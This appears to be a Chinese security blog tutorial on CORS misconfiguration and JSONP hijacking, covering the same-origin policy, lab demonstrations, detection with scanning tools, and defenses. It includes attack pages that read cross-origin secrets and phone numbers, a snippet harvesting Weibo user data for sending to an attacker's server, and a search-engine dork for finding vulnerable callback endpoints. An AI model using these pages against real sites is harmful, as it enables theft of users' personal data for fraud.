前几天逛B站刷到个视频,UP主利用酷某音乐软件存在JSONP劫持漏洞获取了骗子绑定的手机号,于是我便搜集了些网上的资料对JSONP的相关知识点进行一个系统的学习,原视频如下

一、前言

CORS全称为Cross-Origin Resource Sharing,即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。而CORS漏洞则是利用CORS技术窃取用户敏感数据。CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。

整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。

JSONP全称是Json With Padding,是基于JSON格式的为解决跨域请求而产生的解决实现方案。JSONP实现的基本原理是利用了HTML里<script></scirpt>元素标签,远程调用JSON文件来实现数据传递。当某网站通过JSONP的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。

CORS漏洞、JSONP劫持实际上都属于CSRF跨站请求伪造漏洞,尽管二者已经出现了很多年,但由于部分厂商对此不够重视导致其仍在不断发展和扩散。

1、同源策略

对 CORS 的介绍要从浏览器的同源策略开始说起,SOP 全称为 Same Origin Policy,即同源策略。该策略是浏览器的一个安全基石,同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。

简单来说同源策略就是浏览器会阻止一个源与另一个源的资源交互。可以试想一下,如果没有同源策略,当你访问一个正常网站的时候又无意间打开了另一个恶意网站,恶意网站会从你刚刚访问的正常网站上窃取你全部的信息。所谓同源是指 域名,协议,端口相同

2、AJAX技术

跨域问题是针对使用 XMLHttpRequest 技术构建的复杂的、动态的网页的编程实践技术—— AJAX 的,HTML 本身没有跨域问题。

​ AJAX 全称 Asynchronous JavaScript + XML,即异步 JavaScript 和 XML。AJAX 本身不是一种新技术,而是用来描述一种使用现有技术集合/标准的新方法,包括:HTML or XHTML、Cascading Style Sheets、JavaScript、The Document Object Model、XML、XSLT 以及 XMLHttpRequest object。AJAX 允许只更新一个 HTML 页面的部分 DOM,而无须重新加载整个页面, 网页应用能够快速地将增量更新呈现在用户界面上,而不需要重新加载整个页面。这使得程序能够更快地回应用户的操作。

【注意】尽管X在 Ajax 中代表 XML,但由于 JSON 的许多优势,比如更加轻量以及作为 Javascript 的一部分,目前 JSON 的使用比 XML 更加普遍。JSON 和 XML 都被用于在 Ajax 模型中打包信息。

当我们使用 AJAX 技术发送 XMLHttpRequest 请求的时候,如果请求的是别的域 (主机域名、端口) 不同时,那么就会产生跨域问题(受同源策略影响,客户端将无法获取服务端返回的数据,除非使用 CORS 跨域资源共享技术)。值得注意的是:跨域的问题是发生在XMLHttpRequest 请求的,也就是说,不是 XMLHttpRequest 请求是不会有跨域问题的。举个很简单的例子:在编写网页的时候,<img src = www.xxxx.xxxx/ >,在 CORS 跨域资源共享技术的作用下,URL 不是本域的还是可以正常获取该图片的。

二、CORS跨域

SOP 浏览器同源策略是一个很好的策略,在 SOP 被提出之后,大家都默默地遵守着这个规定,但随着WEB应用的发展,有些网站由于自身业务的需求,需要实现一些跨域的功能能够让不同域的页面之间能够相互访问各自页面的内容。常见需要跨域的业务场景如下:

  1. 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题;
  2. 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送 ajax 请求,请求另外一个页面的内容的时候,就会跨域;
  3. 电商网站想通过用户浏览器加载第三方快递网站的物流信息;
  4. 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

为了实现这个跨域需求,聪明的程序员想到了一种编码技术 JSONP,该技术利用从客户端传入的 json 格式的返回值,在服务器端调用该接口处事先以定义函数的方式定义好 json 格式里参数值,并加载 script 标签调用该函数实现跨域。 JSONP 虽然好,但它并非是在协议层面解决跨域问题,所以出现了很多安全问题。

​ 为了能更安全的进行跨域资源访问,CORS 诞生了。CORS 是 H5 提供的一种机制,WEB 应用程序可以通过在 HTTP 报文中增加特定字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源。

1、跨域流程

浏览器将CORS请求分成两类:简单请求(simple request)和 非简单请求(not-so-simple request)。只要同时满足以下两个条件就属于简单请求否则属于非简单请求(主要通过请求方法进行判断):

  1. 请求方法是以下三种之一

    • HEAD
    • GET
    • POST
  2. HTTP的头信息不超出以下几种字段。

    • Accept
    • Accept-Language
    • Content-Language
    • Lat-Event-ID
    • Content-Type:只限于三个值application/x-www-form-urlencoded、multipart/form-data、text/plain。这是为了兼容表单(form),因为历史上表单一直可以发出跨域请求。AJAX 的跨域设计就是,只要表单可以发,AJAX 就可以直接发。

(1)CORS跨域——简单请求的流程

对于简单请求,大致流程是浏览器发现这一次向服务器提交的请求是简单请求,所以自动在头信息中增加了一个Origin的字段,用来表示这次的请求来自哪个域。

GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面的头信息中,Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

如果Origin指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequestonerror回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。

如果Origin指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的头信息之中,有三个与CORS请求相关的字段,都以Access-Control-开头。

  1. Access-Control-Allow-Origin:该字段是必须存在的,它的值可能是 Origin 字段的值或者是一个通配符“*”,表示可以接受任意域名的请求,当然大部分服务器如果配置了通配符的话,信息泄露的风险骤然加大;

  2. Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可。但需要注意的是,如果要发送 cookie,Access-Control-Allow-Origin 就不能设为星号,必须明确指定与请求网页一致的域名,同时Cookie依然遵循同源策略, 只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie也无法读取服务器域名下的Cookie。

  3. Access-Control-Expose-Headers:该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。上面的例子指定,getResponseHeader('FooBar')可以返回FooBar字段的值。

具体的CORS简单跨域请求流程如下

img

withCredentials 属性

上面说到,CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定Access-Control-Allow-Credentials字段。

Access-Control-Allow-Credentials: true

另一方面,开发者必须在AJAX请求中打开withCredentials属性

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

否则,即使服务器同意发送Cookie,浏览器也不会发送。或者,服务器要求设置Cookie,浏览器也不会处理。

但是,如果省略withCredentials设置,有的浏览器还是会一起发送Cookie。这时,可以显式关闭withCredentials

xhr.withCredentials = false;

(2)CORS跨域——非简单请求的流程

所谓非简单请求就是那种对服务器提出特殊要求的请求,例如请求方法为 PUT 或 DELETE。非简单的 CORS 请求会在正式通信之前,增加一次 HTTP 查询请求,称之为 “预检请求”(preflight) 。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单里以及可以使用哪些 HTTP 动词和头信息字段。只有获得了肯定响应,浏览器才会正式发出 XMLHttpRequest 请求,否则就报错。这种请求的好处是对传统的没有 CORS 支持的服务器减小压力,给服务器一个提前拒绝的机会。

① 预检请求

下面是一段浏览器的JavaScript脚本。

var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

上面代码中,HTTP请求的方法是PUT,并且发送一个自定义头信息X-Custom-Header

浏览器发现,这是一个非简单请求,就自动发出一个”预检”请求,要求服务器确认可以这样请求。下面是这个”预检”请求的HTTP头信息。

OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

“预检”请求用的请求方法是OPTIONS,表示这个请求是用来询问的。头信息里面,关键字段是Origin,表示请求来自哪个源。

除了Origin字段,”预检”请求的头信息包括两个特殊字段。

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是PUT

(2)Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是X-Custom-Header

② 预检请求的回应

服务器收到”预检”请求以后,检查了OriginAccess-Control-Request-MethodAccess-Control-Request-Headers字段以后,确认允许跨源请求,就可以做出回应。

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

上面的HTTP回应中,关键的是Access-Control-Allow-Origin字段,表示http://api.bob.com可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。

如果服务器否定了”预检”请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被XMLHttpRequest对象的onerror回调函数捕获。控制台会打印出如下的报错信息。

XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服务器回应的其他CORS相关字段如下。

Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000

(1)Access-Control-Allow-Methods

该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次”预检”请求。

(2)Access-Control-Allow-Headers

如果浏览器请求包括Access-Control-Request-Headers字段,则Access-Control-Allow-Headers字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在”预检”中请求的字段。

(3)Access-Control-Allow-Credentials

该字段与简单请求时的含义相同。

(4)Access-Control-Max-Age

该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是20天(1728000秒),即允许缓存该条回应1728000秒(即20天),在此期间,不用发出另一条预检请求。

③ 浏览器的正常请求和回应

一旦服务器通过了”预检”请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段。

下面是”预检”请求之后,浏览器的正常CORS请求。

PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面头信息的Origin字段是浏览器自动添加的。

下面是服务器正常的回应。

Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

④ 总结

img

具体流程如上图所示,当构造请求包的方法是 PUTDELETE 并传给浏览器时,浏览器发现此请求是非简单请求所以浏览器构造一个预检请求包,请求头是 OPTIONS,并携带三个关键字段:OriginAccess-Control-Request-MethodAccess-Control-Request-Headers。其中 Access-Control-Request-Method 表示浏览器的 CORS 请求会用到哪些HTTP方法, Access-Control-Request-Headers 表示浏览器 CORS 请求会额外发送的头信息字段。服务器收到预检请求后,检查了三个核心字段以后如果确定允许跨域请求,会返回一个正常的 HTTP 回应,并携带传入的 CORS 头信息。如果服务器否定请求,虽然也会返回一个正常的 HTTP 回应但是没有任何 CORS 相关的头信息字段,或明确表示请求不符合条件。浏览器根据预请求的返回结果决定接下来是进行简单请求还是拒绝请求。

2、攻击流程

CORS 使用检查请求头的相关字段和服务端的规则进行对比,来选择是否允许跨域。但凡是需要配置规则的程序,避免不了会出现一些意外,就像很多资深程序员有时也会写不出恰当的正则一样,当服务端配置的规则不够合理,导致非同域的资源可以互相访问,例如Access-Control-Allow-Origin: *。 CORS 反而使同源策略的保护机制土崩瓦解。因此,CORS 漏洞的成因很明显,就是服务端配置的规则不当所导致的。

imgCORS 跨域漏洞的攻击流程如上图所示:

  1. 假设用户登陆一个含有 CORS 配置网站 vuln.com,同时又访问了攻击者提供的一个链接 evil.com。
  2. evil.com 的网站向 vuln.com 这个网站发起请求获取敏感数据,浏览器能否接收信息取决于 vuln.com 的配置。
  3. 如果 vuln.com 配置了 Access-Control-Allow-Origin 头且为预期,那么允许接收,否则浏览器会因为同源策略而不接收。

3、漏洞验证

这是一个正常的GET请求包

img

其正常响应包为

img

我们现在在该请求包上面添加一个origin参数

img

返回包的数据中出现了对应的 CORS 响应头:

img

其中Access-Control-Allow-Origin指是允许访问的源,Access-Control-Allow-Credentials指的是允许带上 cookie 访问资源,这样我们就可以通过 POST 获取到访问者的 cookie 信息。

4、靶场实例

以 BWAPP 靶场 Low 级别的 CORS 漏洞环境作为演示案例

img

点击 secret 跳转到如下页面,藏着 Neo 的秘密:

img

现在攻击者的目的是盗取该页面里面的 sercet 密码内容,查看请求这个页面时的HTTP响应头,从Access-Control-Allow-Origin:* 头可以看出服务器配置了 CORS,且所有的源服务器都可以加载这个页面上的资源:

img

攻击者可以直接发送一个自己构造的页面链接给用户,当用户点击后,攻击页面使用 ajax 就可以直接读取另一个 BWAPP 靶场网站的目标网页敏感信息,攻击页面 test.html 源码如下:

<!DOCTYPE html>
<html lang="en">
<head></head>
<body>
<script>
window.onload = function(){
var xhr =new XMLHttpRequest();// 创建AJAX的对象
// 设置使用的请求方式
xhr.open('get','http://127.0.0.1/bwAPP2.2/bwAPP/secret-cors-1.php',true);
xhr.send(); // 发送请求
xhr.onreadystatechange=function(){
if(xhr.readyState === 4 ){ // 状态 4 表示服务器已响应
// 判断正常的响应结果的状态码
if(xhr.status >=200 && xhr.status<300 || xhr.status === 304){
console.log(xhr.responseText); // 获取响应体内容
}else{
console.log('0');
}
}
}
}
</script>
</body>
</html>

此处将该页面放在本地 PhpStudy 搭建的服务下,并在浏览器进行访问,将成功跨域发送资源请求并返回想要的敏感信息(控制台打印):

img

或者直接使用eval目录下的attack-cors.htm,修改目标服务器路径即可

5、检测方法

如何在平常测试中检查 CORS 跨域漏洞?

CORS 漏洞主要看当我们发起的请求中带有 Origin 头部字段时,服务器的返回包带有 CORS 的相关字段并且允许 Origin 的域访问。

一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。

首先是自动在 HTTP 请求包中加上 Origin 的头部字段,打开BurpSuite,选择 Proxy 模块中的 Options 选项,找到 Match and Replace 这一栏,勾选 Request header 将空替换为 Origin:foo.example.org 的Enable框:

img

然后我们就可以开始去访问我们认为有漏洞的网站,访问足够多后在 BurpSuite 的 Proxy 模块下的 HTTP history 来筛选带有 CORS 头部的值:

img

我们的条件可以是如下:

Access-Control-Allow-Origin: foo.example.org
Access-Control-Allow-Credentials: true

检测效果如下:

img

注意】这里要注意的是,我们也可以测试下带有 CORS 字段的网站是否有 CORS 漏洞,如果服务器响应包的请求头是以下几种情况则可存在 CORS 漏洞:

  1. 实锤存在: 有且仅有如下请求头:
Access-Control-Allow-Origin: *
  1. 实锤存在:同时存在如下两个请求头
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
  1. 可能存在:同时存在如下两个请求头
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

但是如果是如下组合,则绝对没有漏洞,因为该配置下浏览器会自动阻止:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

6、结合XSS

有时候 CORS 配置了信任自身的任意子域,那么如果一个子域存在 XSS 漏洞就可以通过这个漏洞去读取其他子域的资源,类似的场景还有比如 HTTPS 域信任 HTTP 域等。

7、漏洞扫描

可以使用 Xray 联动 BurpSuite 进行扫描,如下是 Xray 扫出来的一次 CORS:

img 同时 github上 提供了一个关于扫描 CORS 配置漏洞的脚本,https://github.com/chenjj/CORScanner。

[email protected]:~/Desktop/CORScanner# python cors_scan.py -h
usage: cors_scan.py [-h] [-u URL] [-i INPUT] [-t THREADS] [-o OUTPUT]
[-v [VERBOSE]] [-d [HEADERS [HEADERS ...]]]

OPTIONS:
-h, --help show this help message and exit
-u URL, --url URL URL/domain to check it's CORS policy
-i INPUT, --input INPUT
URL/domain list file to check their CORS policy
-t THREADS, --threads THREADS
Number of threads to use for CORS scan
-o OUTPUT, --output OUTPUT
Save the results to text file
-v [VERBOSE], --verbose [VERBOSE]
Enable Verbosity and display results in realtime
-d [HEADERS [HEADERS ...]], --headers [HEADERS [HEADERS ...]]
Add headers to the request.

Example: python cors_scan.py -u google.com

我们将检测的域名写在一个记事本里,然后使用-i参数去进行批量扫描。

img

8、防护方案

  1. 关闭不必要开启的CORS;
  2. 白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置 Access-Control-Allow-Origin 为通配符 * 或 null ,严格效验来自请求数据包中的 Origin 的值;
  3. 仅允许使用安全协议,避免中间人攻击;
  4. 尽可能的返回 Vary: Origin 头部,以避免攻击者利用浏览器缓存进行攻击;
  5. 避免将 Access-Control-Allow-Credentials 标头设置为默认值 true ,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为 false;
  6. 限制跨域请求允许的方法,Access-Control-Allow-Methods 最大限度地减少所涉及的方法,降低风险;
  7. 限制浏览器缓存期限:建议通过 Access-Control-Allow-MethodsAccess-Control-Allow-Headers 头部,限制浏览器缓存信息的时间。通过配置 Access-Control-Max-Age 标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值,确保浏览器在短时间内可以更新策略;
  8. 仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。

三、JSONP劫持

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案,它是 json 的一种“使用模式”,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

JSONP 实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。

1、利用过程

  1. 用户在网站B 注册并登录,网站B 包含了用户的id,name,email等信息;

  2. 用户通过浏览器向网站A发出URL请求;

  3. 网站A向用户返回响应页面,响应页面中注册了 JavaScript 的回调函数和向网站B请求的 script 标签,示例代码如下:

<script type="text/javascript">
function Callback(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
  1. 用户收到响应,解析 JS 代码,将回调函数作为参数向网站B发出请求;
  2. 网站 B 接收到请求后,解析请求的 URL,以 JSON 格式生成请求需要的数据,将封装的包含用户信息的 JSON 数据作为回调函数的参数返回给浏览器,网站B返回的数据实例如下:
Callback({"id":1,"name":"test","email":"[email protected]"})
  1. 网站B数据返回后,浏览器则自动执行 Callback 函数对步骤4返回的 JSON 格式数据进行处理,通过 alert 弹窗展示了用户在网站B的注册信息。另外也可将 JSON 数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。

img

2、靶场实例

下面以 DoraBox 靶场的 JSONP 劫持漏洞为演示案例:

img

访问 JSONP 靶场环境页面:

img

其服务端源码如下:

<!-- jsonp.php -->
<?php
include "../class/function.class.php";
$reqMethod = "GET";
$reqValue = "callback";
$p = new Func($reqMethod, $reqValue);
$info = array('username' => 'Vulkey_Chen', 'mobilephone' => '13188888888', 'email' => '[email protected]', 'address' => '中华人民共和国', '**' => 'Cool Man');
if([email protected]$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}
?>

重点关注:

if([email protected]$_GET['callback']){
echo $p -> con_function('json_encode',$info);
}else{
$callback = htmlspecialchars($_GET['callback']);
echo "{$callback}(" . $p -> con_function('json_encode',$info) . ")";
}

这里首先以 get 形式接收到 callback 的值,如果 callback 为空,则忽略警告输出 info 的 json 格式数据:

img

如果 callback 值不为空,则对这个值做一个过滤后输出,然后后面还是输出 json 格式的 info 的值:

img

从这段代码我们可以看到,callback 的值是可以动态输出的,如果我们现在拿到了一个以jsonp 方式传输用户认证后数据的网站,我们就可以构造出一个恶意的 jsonp 调用页面,然后诱使用户访问我们的页面,从而达到一个截取用户信息的目的。

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
{
alert(result.mobilephone);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/DoraBox-master/csrf/jsonp.php?callback=test"></script>
</body>
</html>

将上面的 jsonp_attack.html 页面放在本地 phpstudy 搭建的服务网站根目录下,浏览器进行访问,成功获得敏感信息(手机号码):

img

3、漏洞挖掘

  1. 搜索引擎 Hacking 语法——site:target.com inurl:?callback

img

  1. 浏览器-调试-搜索关键字(json/jsonp/callback):

img

4、JSONP漏洞利用技巧

JSONP 漏洞主要被攻击者用来在受害者不知不觉中窃取他们的隐私数据,常常被一些 APT 组织采用进行信息收集和钓鱼的工作( 水坑攻击 ),下面的一个例子就可以说是在模拟水坑攻击

当我们发现信息泄露的 jsonp 接口以后我们要做的就是在自己的网站上写一个脚本,然后引诱受害者去访问这个网站,一旦访问了这个网站,脚本就会自动运行,就会想这个接口请求用户的敏感数据,并传送到攻击者的服务器上

$.ajax({
url: 'https://api.weibo.com/2/{隐藏了哦}',
type: 'get',
dataType: 'jsonp',
}).done(function(json){
var id = json["data"]["id"];
var screen_name = json["data"]["screen_name"];
var profile_image_url = json["data"]["profile_image_url"];

var post_data = "";
post_data += "id=" + id + "&";
post_data += "screen_name=" + screen_name + "&";
post_data += "profile_image_url=" + encodeURIComponent(profile_image_url);
console.log(post_data);
// 发送到我的服务器上
}).fail(function() {});

既然是窃取敏感信息,那么敏感信息除了一些 email 手机号 用户名等还有什么呢?没错,甚至可以是 CSRF Token 信息,有时候在 CSRF token 获取不到但是又找不到 XSS 的攻击点的时候不妨考虑一下 jsonp 劫持。

5、漏洞危害

JSONP是一种敏感信息泄露的漏洞,经过攻击者巧妙而持久地利用,会对企业和用户造成巨大的危害。攻击者通过巧妙设计一个网站, 网站中包含其他网站的JSONP漏洞利用代码 ,将链接通过邮件等形式推送给受害人, 如果受害者点击了链接,则攻击者便可以获取受害者的个人的信息,如邮箱、姓名、手机等信息, 这些信息可以被违法犯罪分子用作“精准诈骗”。对方掌握的个人信息越多,越容易取得受害人的信任,诈骗活动越容易成功,给受害人带来的财产损失以及社会危害也就越大。

6、防护方案

  1. 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
  2. 严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
  3. 严格过滤 callback 函数名及 JSON 里数据的输出。
  4. 严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
  5. 其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。

四、CORS与JSONP的比较

CORS与JSONP的使用目的相同,但是比JSONP更强大。

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

五、参考链接